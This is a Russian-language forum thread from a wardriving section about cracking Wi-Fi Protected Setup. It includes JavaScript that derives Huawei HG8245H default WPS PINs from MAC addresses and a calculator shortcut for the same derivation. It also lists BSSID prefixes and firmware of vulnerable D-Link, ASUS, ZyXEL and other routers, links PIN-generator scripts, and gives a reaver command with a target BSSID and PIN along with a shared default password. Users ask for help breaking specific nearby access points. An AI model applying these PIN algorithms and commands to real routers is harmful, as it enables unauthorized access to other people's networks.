Уязвимость в протоколе Wi-Fi Protected Setup

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by gpuhash, 30 Dec 2011.

  1. TOX1C

    TOX1C Elder - Старейшина

    Joined:
    24 Mar 2012
    Messages:
    1,029
    Likes Received:
    1,781
    Reputations:
    20
    Это алгоритм генерации пинка или генерации псевдослучайных чисел? Не надо мух с котлетами мешать. Алго ГПСЧ можно вытащить, просто разобрав прошивку декомпилятором, и воссоздав код. При большем везении можно найти и генератор пин-кодов на основе мак-адреса. Но я что-то сомневаюсь, что на ачате есть люди, которым это под силу.
     
  2. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,553
    Likes Received:
    9,575
    Reputations:
    119
    Не-не, та презентация объясняет не алгоритм генерации пин кода устройства, а уязвимость ГПСЧ, позволяющая брутить пин код в оффлайн режиме, используя криптографические особенности протокола.

    Второе. Именно)

    Именно, чипсет здесь в общем-то не при чём. А декомпилировать не всегда нужно, многие прошивки открыты (хотя некоторые лишь частично).

    Где-то здесь в этом треде или по близости мы это уже обсуждали, и даже пытались что-то найти. :)
     
  3. lom1989

    lom1989 New Member

    Joined:
    15 Feb 2014
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Всем привет,пользовался airslax(reaver) и вот что получилось
    WPS PIN 00000000
    WPA PSK 1ysa3pjdys20hfhr420 ur9nkicur1j
    AP SID SEC linkshare 861903
    По даному паролю подключать не хочет,может его надо перевести по какомуто алгоитму?
     
  4. Algierd

    Algierd Member

    Joined:
    21 Sep 2013
    Messages:
    403
    Likes Received:
    16
    Reputations:
    0
    Существует ли сейчас рабочий метод возвращения роутера из wps-блокировки? mdk3 уже не помогает, а всяких tp-link'ов вокруг дофига...
     
    #2204 Algierd, 13 Dec 2014
    Last edited: 13 Dec 2014
  5. comporg

    comporg Member

    Joined:
    6 May 2013
    Messages:
    535
    Likes Received:
    45
    Reputations:
    2
    Подключайся по пину...
     
    1 person likes this.
  6. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,553
    Likes Received:
    9,575
    Reputations:
    119
    А я вот нашёл алгоритм генерации пин кода из MAC-адреса для роутера Huawei HG8245H.

    Обнаружил его в коде веб интерфейса, он на JavaScript :D

    Пример использования:
    computeDefaultPin('20:0B:C7:C9:6E:94')

    Code:
    // According to wlanmac, calculate initial PIN code, algorithm HW_WLAN_CalWpsDefaultPin is the same
    function computeDefaultPin(wlanMac)
    {
        var mac = '';
        var temp = 0;
        var macnum = 0;
        var pin = 0;
        var defaultpin = 0;
    
        // Check wlanmac legitimacy
        if ((wlanMac == '') || (wlanMac == '00:00:00:00:00:00') || (wlanMac == 'FF:FF:FF:FF:FF:FF'))
        {
            alert(cfg_wlancfgdetail_language['amp_wlanmac_invaild']);
        }
    
        // Remove : symbols from wlanmac
        for (var i = 0; i < wlanMac.length; )
        {
            mac += wlanMac.substr(i,2);
            i += 3; 
        }
    
        // Take wlanmac after 7 bits and convert it to 10 hexadecimal
        for (var j = (mac.length - 1); j >= (mac.length - 7); j--)
        {
            temp = parseInt(mac.charCodeAt(j));
    
            if ((temp >= 97) && (temp <= 102))  //abcdef
            {
                temp = (temp - 97) + 10;
            }
            else if ((temp >= 65) && (temp <= 70))  //ABCDEF
            {
                temp = (temp - 65) + 10;
            }
            else if ((temp >= 48) && (temp <= 57))  //0123456789
            {
                temp = temp - 48;
            }
            else
            {
                alert(cfg_wlancfgdetail_language['amp_wlanmac_invaild']);
            }
    
            temp = temp * Math.pow(16, mac.length - j - 1);
            macnum += temp;    
        }
            
        pin = macnum % 10000000;
        if (pin == 0)
        {
            pin = 1234567;
        }
    
        // Add checksum
        defaultpin = pin * 10 + ComputeChecksum(pin);
    
        return defaultpin;
    }
     
    4Fun, amod-cccp, VladimirV and 2 others like this.
  7. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    358
    Likes Received:
    152
    Reputations:
    17
    Круто, в инете прочел, что такие роутеры ставит МГТС для своего GPON. Странно, что у меня в округе только sercomm и intercross.
     
    1 person likes this.
  8. asdm

    asdm Member

    Joined:
    4 Jun 2013
    Messages:
    169
    Likes Received:
    22
    Reputations:
    0
    его ставили в 2012-2013,потом ему на смену пришел серком....
    http://www.mgts.ru/upload/images/f/1/home/internet/equipment/modems/Huawei HG8245.pdf
     
  9. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    5,938
    Reputations:
    57
    Делаем скрипт выше на калькуляторе!
    Имеем BSSID - F8:4A:BF:E1:08:EC
    Открываем калькулятор и выбираем вид - программист.
    Выбираем HEX. Ставим 4 или 8 байт. Вводим FE108EC.
    Выбираем DEC. Жмем кнопку 'Mod' вводим с клавиатуры 10 000 000 (без пробелов) и жмем 'Enter' - Готово!
    [​IMG] [​IMG] [​IMG] [​IMG]
    P.S. для BSSID 90:94:E4:F0:3B:F0 с пином 5743984 делаем тоже-самое но с F03BF0!
     
    #2209 VladimirV, 25 Dec 2014
    Last edited: 25 Dec 2014
    dopetik likes this.
  10. RomanxD

    RomanxD Member

    Joined:
    11 Jun 2012
    Messages:
    107
    Likes Received:
    79
    Reputations:
    1
    Алгоритм генерации пин кода, к некоторым роутерам D-Link.

    http://www.devttys0.com/2014/10/reversing-d-links-wps-pin-algorithm/
     
    dopetik, 4Fun, 4pips and 2 others like this.
  11. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    5,938
    Reputations:
    57
    Работает. Спасибо.
    Те что подошли у меня.
    BSSID
    Code:
    00:01:23:45:XX:XX  00:14:D1:60:XX:XX  00:14:D1:6E:XX:XX
    00:14:D1:E1:XX:XX  00:14:D1:E6:XX:XX  00:18:E7:C4:XX:XX
    00:18:E7:C8:XX:XX  00:18:E7:D0:XX:XX  00:18:E7:D2:XX:XX
    00:18:E7:E1:XX:XX  00:18:E7:E3:XX:XX  00:18:E7:E4:XX:XX
    00:18:E7:E6:XX:XX  00:18:E7:E8:XX:XX  00:18:E7:EA:XX:XX
    00:18:E7:EC:XX:XX  00:18:E7:ED:XX:XX  00:18:E7:EE:XX:XX
    00:18:E7:EF:XX:XX  00:18:E7:F0:XX:XX  00:18:E7:F1:XX:XX
    00:18:E7:F2:XX:XX  00:18:E7:F3:XX:XX  00:18:E7:F4:XX:XX
    00:18:E7:F7:XX:XX  00:18:E7:FA:XX:XX  00:18:E7:FC:XX:XX
    00:18:E7:FD:XX:XX  00:18:E7:FE:XX:XX  00:19:5B:60:XX:XX
    00:1C:F0:66:XX:XX  00:1C:F0:B8:XX:XX  00:1C:F0:F7:XX:XX
    00:1E:58:00:XX:XX  00:1E:58:FB:XX:XX  00:21:91:08:XX:XX
    00:21:91:0A:XX:XX  00:21:91:0D:XX:XX  00:21:91:14:XX:XX
    00:21:91:18:XX:XX  00:21:91:D4:XX:XX  00:21:91:EE:XX:XX
    00:21:91:F6:XX:XX  00:21:91:FE:XX:XX  00:22:B0:B2:XX:XX
    00:22:B0:B3:XX:XX  00:22:B0:B4:XX:XX  00:22:B0:B5:XX:XX
    00:24:01:28:XX:XX  00:24:01:2D:XX:XX  00:24:01:41:XX:XX
    00:24:01:F1:XX:XX  00:26:5A:C3:XX:XX  00:26:5A:CC:XX:XX
    00:26:5A:CF:XX:XX  00:26:5A:F5:XX:XX  00:26:5A:F9:XX:XX
    00:98:98:98:XX:XX  14:D6:4D:2C:XX:XX  14:D6:4D:2D:XX:XX
    14:D6:4D:2E:XX:XX  14:D6:4D:35:XX:XX  14:D6:4D:37:XX:XX
    1C:7E:E5:31:XX:XX  1C:7E:E5:34:XX:XX  1C:7E:E5:38:XX:XX
    1C:7E:E5:39:XX:XX  1C:7E:E5:3E:XX:XX  1C:7E:E5:40:XX:XX
    1C:7E:E5:41:XX:XX  1C:7E:E5:43:XX:XX  1C:7E:E5:45:XX:XX
    1C:7E:E5:4A:XX:XX  1C:7E:E5:4B:XX:XX  34:08:04:E0:XX:XX
    34:08:04:E1:XX:XX  5C:D9:98:60:XX:XX  5C:D9:98:65:XX:XX
    5C:D9:98:66:XX:XX  5C:D9:98:67:XX:XX  84:C9:B2:49:XX:XX
    84:C9:B2:4A:XX:XX  84:C9:B2:4C:XX:XX  84:C9:B2:4D:XX:XX
    84:C9:B2:4F:XX:XX  84:C9:B2:51:XX:XX  84:C9:B2:52:XX:XX
    84:C9:B2:53:XX:XX  84:C9:B2:54:XX:XX  84:C9:B2:57:XX:XX
    84:C9:B2:59:XX:XX  84:C9:B2:5A:XX:XX  84:C9:B2:5F:XX:XX
    84:C9:B2:62:XX:XX  84:C9:B2:64:XX:XX  84:C9:B2:6C:XX:XX
    84:C9:B2:6D:XX:XX  B8:A3:86:50:XX:XX  B8:A3:86:65:XX:XX
    C8:BE:19:70:XX:XX  C8:BE:19:71:XX:XX  C8:D3:A3:57:XX:XX
    C8:D3:A3:5E:XX:XX  C8:D3:A3:66:XX:XX CC:B2:55:D5:XX:XX
    
    Code:
    D-Link firmware: 2.09WW
    D-Link firmware: 3.03RU
    D-Link DIR-615, firmware: 5.11RU
    D-Link DIR-400, firmware: 1.03
    D-Link DIR-615, firmware: 3.03RU
    D-Link DIR-615, firmware: 5.10
    D-Link DIR-615, firmware: 5.10RU
    D-Link DIR-615, firmware: 5.11NV
    D-Link DIR-615, firmware: 5.11RU
    D-Link DIR-615, hardware: B2, firmware: 2.23
    D-Link DIR-615, hardware: B2, firmware: 2.25
    D-Link DIR-615, hardware: B2, firmware: 2.26
    D-Link DIR-615, hardware: B2, firmware: 2.27
    D-Link DIR-615, hardware: E4, firmware: 5.11RU
    D-Link DIR-628, hardware: A2, firmware: 1.24
    D-Link DIR-628, hardware: A2, firmware: 1.25
    D-Link DIR-635, hardware: B1, firmware: 2.21
    D-Link DIR-635, hardware: B1, firmware: 2.33
    D-Link DIR-655, firmware: 2.00
    D-Link DIR-655, firmware: 2.00RU
    D-Link DIR-655, hardware: A1/A2, firmware: 1.33
    D-Link DIR-655, hardware: A2, firmware: 1.35
    D-Link DIR-655, hardware: A3, firmware: 1.11
    D-Link DIR-655, hardware: A3, firmware: 1.21
    D-Link DIR-655, hardware: A3, firmware: 1.35
    D-Link DIR-655, hardware: A4, firmware: 1.21
    D-Link DIR-655, hardware: A4, firmware: 1.30
    D-Link DIR-655, hardware: A4, firmware: 1.32
    D-Link DIR-655, hardware: A4, firmware: 1.33
    D-Link DIR-655, hardware: A4, firmware: 1.34
    D-Link DIR-655, hardware: A4, firmware: 1.35
    D-Link DIR-825, firmware: 2.05WW
    D-Link DIR-825, firmware: 2.06WW
    D-Link DIR-825, firmware: 2.09WW
    D-Link DIR-855, hardware: A2, firmware: 1.23
    D-Link DIR-855, hardware: A2, firmware: 1.24
    D-Link DIR-857, firmware: 1.00
    D-Link DIR-857, firmware: 1.01RU
    
    TRENDnet firmware: 1.10
    TRENDnet TEW-652BRP, firmware: 1.10
    TRENDnet TEW-673GRU, firmware: 1.00
    
    dlink DIR-826L, firmware: 1.00RUb07
    dlink DIR-826L, firmware: 1.01RUb01beta01
    dlink DIR-826L, firmware: 1.01RUb01beta02
    dlink DIR-826L, firmware: 1.01RUb01beta04
    
     
    #2211 VladimirV, 25 Dec 2014
    Last edited: 25 Dec 2014
    dopetik, 4Fun and 4pips like this.
  12. Algierd

    Algierd Member

    Joined:
    21 Sep 2013
    Messages:
    403
    Likes Received:
    16
    Reputations:
    0
    Мучаю один роутер (D-Link судя по маку), три раза запускал полный перебор и три раза reaver выдавал разные, но близкие результаты (44409845, 44409920, 44410087), когда перебор заканчивается строчки WPS PSK нету. Попытка подключится по пину результатов не принесла. Как можно добить эту точку чтобы вытянуть из неё пароль?
     
  13. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,553
    Likes Received:
    9,575
    Reputations:
    119
    Это для Huawei? Хм... в сравнении со скриптом, который я постил выше, результаты отличаются, либо я что-то делаю не так :)

    Это D-Link DIR-620, у него самый обычный алгоритм 16 к 10.
     
    #2213 binarymaster, 25 Dec 2014
    Last edited: 25 Dec 2014
  14. nsin

    nsin Member

    Joined:
    1 Feb 2013
    Messages:
    64
    Likes Received:
    16
    Reputations:
    5
    Скрипт на питоне.

    https://github.com/devttys0/wps/blob/master/pingens/dlink/pingen.py
     
    dopetik, 4Fun and binarymaster like this.
  15. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    5,938
    Reputations:
    57
    Да для них:
    Code:
    48:46:FB:D2:2C:88     83233364     Huawei Technologies HG8245H
    D4:6A:A8:C3:58:A4     70199406     Huawei Technologies HG8245H
    F8:4A:BF:E1:08:EC     64061245     Huawei Technologies HG8245H
    
    У них по умолчанию пин отключен и показывает 12345670 - заходил на роутер и включал пин.

    Это тотже алгоритм но в нем используется 24 бита мака, а в Huawei 28 бит!

    На паскале это вот-так:
    Code:
    s:= 'FE108EC';
    pin:= StrToInt('$'+s);
    pin:= pin MOD 10000000;
    
    Этот алгоритм подошел:
    Code:
    ASUS RT-G32
    ASUS RT-N13U Rev.B1
    D-Link DIR-400, firmware: 1.00
    D-Link DIR-400, firmware: 1.03
    EDIMAX BR6228GNS
    ZyXEL KEENETIC 4G, NDMS v1.00(BWO.0)D0
    ZyXEL KEENETIC LITE, NDMS v1.00(BWN.0)D0
    EDIMAX BR6258GN
    EDIMAX BR6428GN
    EDIMAX BR6428NS
     
    #2215 VladimirV, 25 Dec 2014
    Last edited: 25 Dec 2014
    1 person likes this.
  16. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    5,938
    Reputations:
    57
    Вы BSSID или лог выложите. Ато непонятно над чем колдовать.
     
  17. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    5,938
    Reputations:
    57
    Нашел скрипт:
    Code:
    Vodafone EasyBox Default WPS PIN Algorithm Weakness
    product: EasyBox 802 & EasyBox 803
    
    http://rghost.ru/59969467
     
    quite gray likes this.
  18. Algierd

    Algierd Member

    Joined:
    21 Sep 2013
    Messages:
    403
    Likes Received:
    16
    Reputations:
    0
    BSSID: 34:08:04:DC:5A:18

    лог от ривера
    https://www.sendspace.com/file/q0cr31
     
    #2218 Algierd, 25 Dec 2014
    Last edited: 25 Dec 2014
  19. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    5,938
    Reputations:
    57
    ZyXEL KEENETIC, NDMS v1.00(BFW.4)D0

    reaver -i mon0 -b 34:08:04:DC:5A:18 -vv -p4440984 -n
    Нашел у себя несколько штук и на всех пароль 123qwe**
     
    #2219 VladimirV, 25 Dec 2014
    Last edited: 25 Dec 2014
  20. Algierd

    Algierd Member

    Joined:
    21 Sep 2013
    Messages:
    403
    Likes Received:
    16
    Reputations:
    0
    После перебора на роутере отключился wps, нету пока возможности проверить.

    Помогите со второй AP:

    ESSID: ZTE018
    BSSID: CC:7B:35:15:F5:78

    лог ривера:

    https://www.sendspace.com/file/chj9yk

    Несколько раз делал полный перебор, где-то в начале, но с разных мест, показывает прогресс 90%, потом доходит до 99,99% и так по кругу гоняет один пин... С этим можно что-нибудь сделать чтобы вытянуть пароль?
     
Loading...